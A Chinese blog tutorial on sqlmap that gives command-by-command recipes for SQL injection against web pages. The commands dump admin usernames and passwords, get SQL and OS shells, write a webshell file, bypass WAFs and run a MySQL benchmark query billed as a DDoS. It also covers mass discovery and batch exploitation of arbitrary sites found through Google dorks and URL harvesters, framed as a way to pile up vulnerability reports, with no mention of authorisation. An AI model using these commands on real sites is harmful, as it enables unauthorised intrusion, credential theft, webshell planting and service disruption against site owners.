SQLMAP注入教程-11种常见SQLMAP使用方法详解-泓源视野

SQLMAP注入教程-11种常见SQLMAP使用方法详解

SQLMAP注入教程-11种常见SQLMAP使用方法详解插图

sqlmap也是渗透中常用的一个注入工具,其实在注入工具方面,一个sqlmap就足够用了,只要你用的熟,秒杀各种工具,只是一个便捷性问题,sql注入另一方面就是手工党了,这个就另当别论了。今天把我一直以来整理的sqlmap笔记发布上来供大家参考。

使用sqliv2借助搜索引擎google bing yahoo搜索目前只能用 bing

或使用 https://byy3.com/397.html 谷歌黑客搜索引擎

sqlmap批量注入扫描  sqlmap -m urllist.txt -–batch当前目录的urllist.txt

 

最新版sqliv2

牛自动检测爬行网站检测注入点 python sqliv.py -t "http://c***cpb.com/login.asp?act=4"

或者使用搜索引擎 python sqliv.py -d "inurl:index.php?id=" -e google

一共有11种常见SQLmap使用方法:

一、SQLMAP用于Access数据库注入

(1) 猜解是否能注入

(2) 猜解表

1
2
win: python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --tables
Linux: .lmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --tables

(3) 根据猜解的表进行猜解表的字段(假如通过2得到了admin这个表)

1
2
win: python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --columns -T admin
Linux: .lmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --columns -T admin

(4) 根据字段猜解内容(假如通过3得到字段为username和password)

1
2
3
win: python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --dump -T admin -C "username,password"
Linux: .lmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --dump -T admin -C
"username,[url=]B[/url]password"

二、SQLMAP用于Cookie注入
*********推荐使用
(1) cookie注入,猜解表

1
win : python sqlmap.py -u "http://www.xxx.org/jsj/shownews.asp" --cookie "id=31" --table --level 2

(2) 猜解字段,(通过1的表猜解字段,假如表为admin)

1
2
win :python sqlmap.py -u "http://www.xxx.org/jsj/shownews.asp" --cookie "id=31" --columns -T
admin --level 2

(3) 猜解内容

1
2
win :python sqlmap.py -u "http://www.xxx.org/jsj/shownews.asp" --cookie "id=31" --dump -T
admin -C "username,password" --level 2

三、SQLMAP用于mysql中DDOS攻击(1) 获取一个Shell

1
2
3
4
win:
python sqlmap.py -u [url]http://192.168.159.1/news.php?id=1[/url] --sql-shell
Linux:
sqlmap -u [url]http://192.168.159.1/news.php?id=1[/url] --sql-shell

(2) 输入执行语句完成DDOS攻击

1
select benchmark(99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f)

四、SQLMAP用于mysql注入

(1) 查找数据库

1
python sqlmap.py -u "http://www.xxx.com/link.php?id=321" --dbs

(2) 通过第一步的数据库查找表(假如数据库名为dataname)

1
python sqlmap.py -u "http://www.xxx.com/link.php?id=321" -D dataname --tables

(3) 通过2中的表得出列名(假如表为table_name)

1
python sqlmap.py -u "http://www.xxx.com/link.php?id=321" -D dataname -T table_name --columns

(4) 获取字段的值(假如扫描出id,user,password字段)

1
2
python sqlmap.py -u "http://www.xxx.com/link.php?id=321" -D dataname -T table_name -C
"id,user,password" --dump

五、SQLMAP中post登陆框注入

(1) 其中的search-test.txt是通过抓包工具burp suite抓到的包并把数据保存为这个txt文件

我们在使用Sqlmap进行post型注入时,经常会出现请求遗漏导致注入失败的情况。这里分享一个小技巧,即结合burpsuite来使用sqlmap,用这种方法进行post注入测试会更准确,操作起来也非常容易。

1. 浏览器打开目标地址http:// www.xxx.com /Login.asp

2. 配置burp代理(127.0.0.1:8080)以拦截请求

3. 点击login表单的submit按钮

4. 这时候Burp会拦截到了我们的登录POST请求

5. 把这个post请求复制为txt, 我这命名为search-test.txt 然后把它放至sqlmap目录下

6. 运行sqlmap并使用如下命令:

1
./sqlmap.py -r search-test.txt -p tfUPass

这里参数-r 是让sqlmap加载我们的post请求rsearch-test.txt,而-p 大家应该比较熟悉,指定注入用的参数。

注入点:http://testasp.vulnweb.com/Login.asp

几种注入方式:./sqlmap.py -r search-test.txt -p tfUPass

(2) 自动的搜索

1
sqlmap -u [url]http://testasp.vulnweb.com/Login.asp[/url] --forms

(3) 指定参数搜索

1
sqlmap -u [url]http://testasp.vulnweb.com/Login.asp[/url] --data "tfUName=321&tfUPass=321"

六、SQLMAP中Google搜索注入

inurl后面的语言是由自己定的

注入过程中如果选y是注入,如果不是选n

1
sqlmap -g inurl:php?id=

七、SQLMAP中的请求延迟

参数 --delay --safe-freq

1
2
python sqlmap.py --dbs -u "http://xxx.cn/index.php/Index/view/id/40.html" --delay 1
python sqlmap.py --dbs -u "http://xxx.cn/index.php/Index/view/id/40.html" --safe-freq 3

参数

八、SQLMAP绕过WAF防火墙

注入点:http://192.168.159.1/news.php?id=1

1
sqlmap -u [url]http://192.168.159.1/news.php?id=1[/url] -v 3 --dbs --batch --tamper "space2morehash.py"

space2morehash.py中可以替换space2hash.py或者base64encode.py或者charencode.py

都是编码方式

space2hash.py base64encode.py charencode.py

九、SQLMAP查看权限

1
sqlmap -u [url]http://192.168.159.1/news.php?id=1[/url] --privileges

十、SQLMAP伪静态注入(1) 查找数据库

1

(2) 通过1中的数据库查找对应的表 (假如通过1,得到的是dataname)

1
python sqlmap.py -u "http://xxx.cn/index.php/Index/view/id/40.html" -D dataname --tables

(3) 通过2中的数据表得到字段(假如得到的是tablename表)

1
2
python sqlmap.py -u "http://xxx.cn/index.php/Index/view/id/40.html" -D dataname -T
tablename --columns

(4) 通过3得到字段值(假如从3中得到字段id,password)

1
2
python sqlmap.py -u "http://xxx.cn/index.php/Index/view/id/40.html" -D dataname -T
tablename -C "password" --dump

十一、SQLMAP注入点执行命令与交互写shell

(1) 注入点:http://192.168.159.1/news.php?id=1

此处采用的是Linux系统

1
sqlmap -u [url]http://192.168.159.1/news.php?id=1[/url] --os-cmd=ipconfig

出现语言的选择根据实际的测试网站选择语言

指定目标站点D:/www/

(2) 获取Shell

1
sqlmap -u [url]http://192.168.159.1/news.php?id=1[/url] --os-shell

出现语言的选择根据实际的测试网站选择语言

指定目标站点D:/www/

输入ipconfig/all

创建用户和删除用户

只要权限足够大,你可以输入使用任何命令。

其他命令参考下面:

从数据库中搜索字段

1
sqlmap -r “c:\tools\request.txt” –dbms mysql -D dedecms –search -C admin,password

在dedecms数据库中搜索字段admin或者password。

读取与写入文件

首先找需要网站的物理路径,其次需要有可写或可读权限。

–file-read=RFILE 从后端的数据库管理系统文件系统读取文件 (物理路径)

–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件 (mssql xp_shell)

–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径

#示例:

1
sqlmap -r “c:\request.txt” -p id –dbms mysql –file-dest “e:\php\htdocs\dvwa\inc\include\1.php” –file-write “f:\webshell\1112.php”

使用shell命令:

1
sqlmap -r “c:\tools\request.txt” -p id –dms mysql –os-shell

接下来指定网站可写目录:

“E:\php\htdocs\dvwa”

#注:mysql不支持列目录,仅支持读取单个文件。sqlserver可以列目录,不能读写文件,但需要一个(xp_dirtree函数)

sqlmap详细命令:

  • -is-dba 当前用户权限(是否为root权限)
  • -dbs 所有数据库
  • -current-db 网站当前数据库
  • -users 所有数据库用户
  • -current-user 当前数据库用户
  • -random-agent 构造随机user-agent
  • -passwords 数据库密码
  • -proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理
  • -time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)

Options(选项):

  • -version 显示程序的版本号并退出
  • -h, –help 显示此帮助消息并退出
  • -v VERBOSE 详细级别:0-6(默认为1)

Target(目标):

以下至少需要设置其中一个选项,设置目标URL。

  • -d DIRECT 直接连接到数据库。
  • -u URL, –url=URL 目标URL。
  • -l LIST 从Burp或WebScarab代理的日志中解析目标。
  • -r REQUESTFILE 从一个文件中载入HTTP请求。
  • -g GOOGLEDORK 处理Google dork的结果作为目标URL。
  • -c CONFIGFILE 从INI配置文件中加载选项。

Request(请求):

这些选项可以用来指定如何连接到目标URL。

  • -data=DATA 通过POST发送的数据字符串
  • -cookie=COOKIE HTTP Cookie头
  • -cookie-urlencode URL 编码生成的cookie注入
  • -drop-set-cookie 忽略响应的Set – Cookie头信息
  • -user-agent=AGENT 指定 HTTP User – Agent头
  • -random-agent 使用随机选定的HTTP User – Agent头
  • -referer=REFERER 指定 HTTP Referer头
  • -headers=HEADERS 换行分开,加入其他的HTTP头
  • -auth-type=ATYPE HTTP身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)
  • -auth-cred=ACRED HTTP身份验证凭据(用户名:密码)
  • -auth-cert=ACERT HTTP认证证书(key_file,cert_file)
  • -proxy=PROXY 使用HTTP代理连接到目标URL
  • -proxy-cred=PCRED HTTP代理身份验证凭据(用户名:密码)
  • -ignore-proxy 忽略系统默认的HTTP代理
  • -delay=DELAY 在每个HTTP请求之间的延迟时间,单位为秒
  • -timeout=TIMEOUT 等待连接超时的时间(默认为30秒)
  • -retries=RETRIES 连接超时后重新连接的时间(默认3)
  • -scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式
  • -safe-url=SAFURL 在测试过程中经常访问的url地址
  • -safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URL

Enumeration(枚举):

这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己的SQL语句。

  • -b, –banner 检索数据库管理系统的标识
  • -current-user 检索数据库管理系统当前用户
  • -current-db 检索数据库管理系统当前数据库
  • -is-dba 检测DBMS当前用户是否DBA
  • -users 枚举数据库管理系统用户
  • -passwords 枚举数据库管理系统用户密码哈希
  • -privileges 枚举数据库管理系统用户的权限
  • -roles 枚举数据库管理系统用户的角色
  • -dbs 枚举数据库管理系统数据库
  • -D DBname 要进行枚举的指定数据库名
  • -T TBLname 要进行枚举的指定数据库表(如:-T tablename –columns)
  • -tables 枚举的DBMS数据库中的表
  • -columns 枚举DBMS数据库表列
  • -dump 转储数据库管理系统的数据库中的表项
  • -dump-all 转储所有的DBMS数据库表中的条目
  • -search 搜索列(S),表(S)和/或数据库名称(S)
  • -C COL 要进行枚举的数据库列
  • -U USER 用来进行枚举的数据库用户
  • -exclude-sysdbs 枚举表时排除系统数据库
  • -start=LIMITSTART 第一个查询输出进入检索
  • -stop=LIMITSTOP 最后查询的输出进入检索
  • -first=FIRSTCHAR 第一个查询输出字的字符检索
  • -last=LASTCHAR 最后查询的输出字字符检索
  • -sql-query=QUERY 要执行的SQL语句
  • -sql-shell 提示交互式SQL的shell

Optimization(优化):

这些选项可用于优化SqlMap的性能。

  • -o 开启所有优化开关
  • –predict-output 预测常见的查询输出
  • –keep-alive 使用持久的HTTP(S)连接
  • –null-connection 从没有实际的HTTP响应体中检索页面长度
  • –threads=THREADS 最大的HTTP(S)请求并发量(默认为1)

Injection(注入):

这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads和可选篡改脚本。

  • -p TESTPARAMETER 可测试的参数(S)
  • –dbms=DBMS 强制后端的DBMS为此值
  • –os=OS 强制后端的DBMS操作系统为这个值
  • –prefix=PREFIX 注入payload字符串前缀
  • –suffix=SUFFIX 注入payload字符串后缀
  • –tamper=TAMPER 使用给定的脚本(S)篡改注入数据

Detection(检测):

这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容。

  • –level=LEVEL 执行测试的等级(1-5,默认为1)
  • –risk=RISK 执行测试的风险(0-3,默认为1)
  • –string=STRING 查询时有效时在页面匹配字符串
  • –regexp=REGEXP 查询时有效时在页面匹配正则表达式
  • –text-only 仅基于在文本内容比较网页

Techniques(技巧):

这些选项可用于调整具体的SQL注入测试。

  • –technique=TECH SQL注入技术测试(默认BEUST)
  • –time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)
  • –union-cols=UCOLS 定列范围用于测试UNION查询注入
  • –union-char=UCHAR 用于暴力猜解列数的字符

Fingerprint(指纹):

  • -f, –fingerprint 执行检查广泛的DBMS版本指纹

Brute force(蛮力):

这些选项可以被用来运行蛮力检查。

  • –common-tables 检查存在共同表
  • –common-columns 检查存在共同列

User-defined function injection(用户自定义函数注入):

这些选项可以用来创建用户自定义函数。

–udf-inject 注入用户自定义函数

–shared-lib=SHLIB 共享库的本地路径

File system access(访问文件系统):

这些选项可以被用来访问后端数据库管理系统的底层文件系统。

  • –file-read=RFILE 从后端的数据库管理系统文件系统读取文件
  • –file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
  • –file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径

Operating system access(操作系统访问):

这些选项可以用于访问后端数据库管理系统的底层操作系统。

  • –os-cmd=OSCMD 执行操作系统命令
  • –os-shell 交互式的操作系统的shell
  • –os-pwn 获取一个OOB shell,meterpreter或VNC
  • –os-smbrelay 一键获取一个OOB shell,meterpreter或VNC
  • –os-bof 存储过程缓冲区溢出利用
  • –priv-esc 数据库进程用户权限提升
  • –msf-path=MSFPATH Metasploit Framework本地的安装路径
  • –tmp-path=TMPPATH 远程临时文件目录的绝对路径

Windows注册表访问:

这些选项可以被用来访问后端数据库管理系统Windows注册表。

  • –reg-read 读一个Windows注册表项值
  • –reg-add 写一个Windows注册表项值数据
  • –reg-del 删除Windows注册表键值
  • –reg-key=REGKEY Windows注册表键
  • –reg-value=REGVAL Windows注册表项值
  • –reg-data=REGDATA Windows注册表键值数据
  • –reg-type=REGTYPE Windows注册表项值类型
  • 这些选项可以用来设置一些一般的工作参数。
  • -t TRAFFICFILE 记录所有HTTP流量到一个文本文件中
  • -s SESSIONFILE 保存和恢复检索会话文件的所有数据
  • –flush-session 刷新当前目标的会话文件
  • –fresh-queries 忽略在会话文件中存储的查询结果
  • –eta 显示每个输出的预计到达时间
  • –update 更新SqlMap
  • –save file保存选项到INI配置文件
  • –batch 从不询问用户输入,使用所有默认配置。

Miscellaneous(杂项):

  • –beep 发现SQL注入时提醒
  • –check-payload IDS对注入payloads的检测测试
  • –cleanup SqlMap具体的UDF和表清理DBMS
  • –forms 对目标URL的解析和测试形式
  • –gpage=GOOGLEPAGE 从指定的页码使用谷歌dork结果
  • –page-rank Google dork结果显示网页排名(PR)
  • –parse-errors 从响应页面解析数据库管理系统的错误消息
  • –replicate 复制转储的数据到一个sqlite3数据库
  • –tor 使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
  • –wizard 给初级用户的简单向导界面

根据百度百科的定义,SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

通俗来说,SQL注入是攻击者利用现有应用程序,将恶意SQL命令注入到后台数据库执行的能力,它可以通过在Web表单中输入恶意SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行正常SQL语句。

我平时在CNVD上提交的SQL注入漏洞主要是通过各种工具(例如URL采集器,sqlmap)来获得的,下面就给大家介绍一下一些小技巧。 #GoogleHack 在SQL注入出现早期和中期由于攻击少,因此想找到注入点比较容易;目前由于安全爱好者数量剧增和网站安全意识的提高,比较通用的SQL注入点已经少了很多。对于新出来的各个网站、CMS以及一些专有系统来说,通过Google语法查询其是否有SQL注入漏洞效果还是不错的。

最常见的,就是使用inurl关键字在谷歌中进行搜索,如:inurl:Post.php?id=、inurl:asp?id=、inurl:Show.asp?Id=。可以在等号后面添加任意数字并使用谷歌搜索查找其中的相关URL。

以下是搜集的关键词列表,在查找SQL注入时可以在等号后面添加任意数字构造关键词进行搜索。 SQLMAP注入教程-11种常见SQLMAP使用方法详解插图1 在使用GoogleHack进行SQL注入点查询时,手工的方法一般为通过谷歌语法的inurl判断是否存在动态查询参数,然后对查询的网站url进行手工判断是否存在SQL注入漏洞,如or 1=1 , or 1=2, 加单引号等方式。但是对每一个URL都进行手工SQL注入测试,会耗费大量时间、人力成本,这种方法效率较低,一般不使用,更不符合我们大批量查找SQL注入的初衷。 #Sqlmap sqlmap是一个开源的可以自动化检测SQL注入的渗透测试工具,作为每个安全爱好者手头的必备神器,SQLmap可以在批量查找SQL注入时很大程度的帮助我们

结合谷歌语句搜索,我们换一种方法,可以将通过谷歌搜索到的可能含有SQL注入的URL保存为TXT文件 SQLMAP注入教程-11种常见SQLMAP使用方法详解插图2 然后使用SQLmap进行批量检测,命令如下:

sqlmap.py -m c:/1.txt –batch

sqlmap.py这个是调用sqlmap的脚本,-m是批量检测注入,c:/1.txt是指检测c盘下的1.txt这个文本中的URL,–batch使用所有默认配置,使用这条命令,我们可以在sqlmap批量检测文本中URL注入的时候做点其他工作,sqlmap自动会检测注入

不过这里有一个问题,因为没有“超时”,有时sqlmap会对一个地址一直测到完为止,所以测的时间很久。如果发现sqlmap一直停留在某个URL不停地测试,我们可以Ctrl+C,输入X选择next target进行测试下一个目标。CNVD漏洞提交追求的是数量,没必要在一个地方浪费太多时间。 SQLMAP注入教程-11种常见SQLMAP使用方法详解插图3 有时在URL中发现一个注入点时,SQLmap会询问是否尝试对其他参数进行测试,可以直接选择No,这样就会跳转到下一条链接,CNVD提交的标准是URL只要有SQL注入即可,也没必要对多余的参数进行测试,可以节省时间。 SQLMAP注入教程-11种常见SQLMAP使用方法详解插图4 如果觉得保存到文本中再去跑SQL注入比较麻烦,那么sqlmap还集成了谷歌的搜索模块,即提供了google搜索引擎的搜索

使用方式为 -g 搜索表达式,

sqlmap -g 搜索语句就可以直接调用Google引擎进行批量化扫描

例如:sqlmap.py -g “inurl:\”.asp?id=22\”" 

但是现在因为各种你懂的原因,我们无法直接使用谷歌搜索引擎,但是我们仍然可以让sqlmap通过代理使用Google,即

sqlmap.py -g “inurl:\”.php?id=1\”" –proxy http://127.0.0.1:1080

127.0.0.1:1080是本机梯子的地址端口

SQLMAP注入教程-11种常见SQLMAP使用方法详解插图5 可以看到使用sqlmap -g 搜索语句第一条就找到SQL注入了。

以上普通语句SQLmap可以进行正确的查询,而且符合我们真实情况下在谷歌环境中搜索到的网址。但是一旦我们有特殊的需求如搜索存在中文字符的网站内容的url如:

https://www.google.com.lt/search?q=inurl:php?id= -site:XXX.com -site:php.net intext:注入

则SQLMAP会自动过滤intext语句中的中文,返回不加过滤后的结果,但是英文字母的intext不受影响。 #BurpSuite导出log配合SQLMAP批量扫描注入点 sqlmap可以批量扫描包含有request的日志文件,而request日志文件可以通过burpsuite来获取,因此通过sqlmap结合burpsuite工具,可以更加高效的对系统是否存在SQL注入漏洞进行地毯式的扫描。

我的burp版本是1.7,在Project Options—Misc中可以找到通过代理导出requests日志的功能。

  1. 首先是burp设置记录log,文件名自由设置。 SQLMAP注入教程-11种常见SQLMAP使用方法详解插图6 2.把记录的log文件放在任一目录下 3.在浏览器中浏览网页,Burp会自动把数据写入到日志文件中 SQLMAP注入教程-11种常见SQLMAP使用方法详解插图7 4.sqlmap读log自动测试:
     sqlmap.py -l 文件名 –batch -smart batch:自动选择默认设置。 smart:启发式快速判断,节约时间。

    5.最后能注入的url会保存到sqlmap所在位置的out文件夹下

    感觉这种方法也并不是很有效率,但是比较适合在测试环境对某个系统进行渗透测试的情况,接下来看另一种更省时省力的方法。 #使用工具进行批量化检测 我们可以使用Python爬虫获取到谷歌搜索的URL生成TXT文件,在使用SQLMAP(或其他SQL扫描工具),进行二次扫描,这样省时又省力。

首先需要爬行网站,获取到网站链接,然后再对这些链接进行检测,最后结果保存在本地。

网上可以找到很多种类型的URL采集器,但是发现大部分都不能用,或者功能比较单一。推荐一款“傀儡URL采集器”

有Access显错扫描、Mysql显错扫描、Mssql显错扫描、And数字注入、And字符注入、Xor注入测试、Svn源代码泄露、备份扫描等多种注入方式扫描,最重要的是可以批量扫描。

傀儡URL采集器基于java环境,打开后可以看到界面是这样的 SQLMAP注入教程-11种常见SQLMAP使用方法详解插图8 然后改变下面几个红色指针所指的参数,线程、关键字任选,主要是网站的一个类型,枚举也是自己设置,然后点击生成关键字。 SQLMAP注入教程-11种常见SQLMAP使用方法详解插图9 傀儡SQL工具默认的关键字类型只有4种,但是我们可以自己导入关键字,配合上面说到的inurl关键词列表的TXT文档,可以增加很多查找注入点的关键字 SQLMAP注入教程-11种常见SQLMAP使用方法详解插图10 点击开始扫描后会生成URL列表以及相应的漏洞类型,扫描时间越长结果越多。使用工具扫描可以帮助我们节省很多时间。 SQLMAP注入教程-11种常见SQLMAP使用方法详解插图11 等到出现了一定数量的网址出现在右边空白处,觉的够了就点击终止扫描。可以使用导出URL功能,结束之后找到自己保存URL的txt文件,再结合sqlmap,

 使用sqlmap.py -m XXX.txtbatch 命令对URL进行自动化检测即可

SQLMAP注入教程-11种常见SQLMAP使用方法详解插图12 此外,在实际中我们发现,如果一次性跑的URL文档里包含很多链接的话,可能这样得到的地址有很多是没有响应的,如果存在很多无响应的URL时,挨个选择next target会非常费时费力,我们要进行二次过滤,使用Python批量对地址进行请求, 过滤掉不响应或响应过慢的网页。Python检测URL存活性脚本网上也有很多,在这里就不再叙述了,有兴趣的可以去找资料学习一下。

本文由 泓源视野 作者:admin 发表,其版权均为 泓源视野 所有,文章内容系作者个人观点,不代表 泓源视野 对观点赞同或支持。如需转载,请注明文章来源。
17

发表评论

Protected with IP Blacklist CloudIP Blacklist Cloud
您是第8238432 位访客, 您的IP是:[34.229.110.49]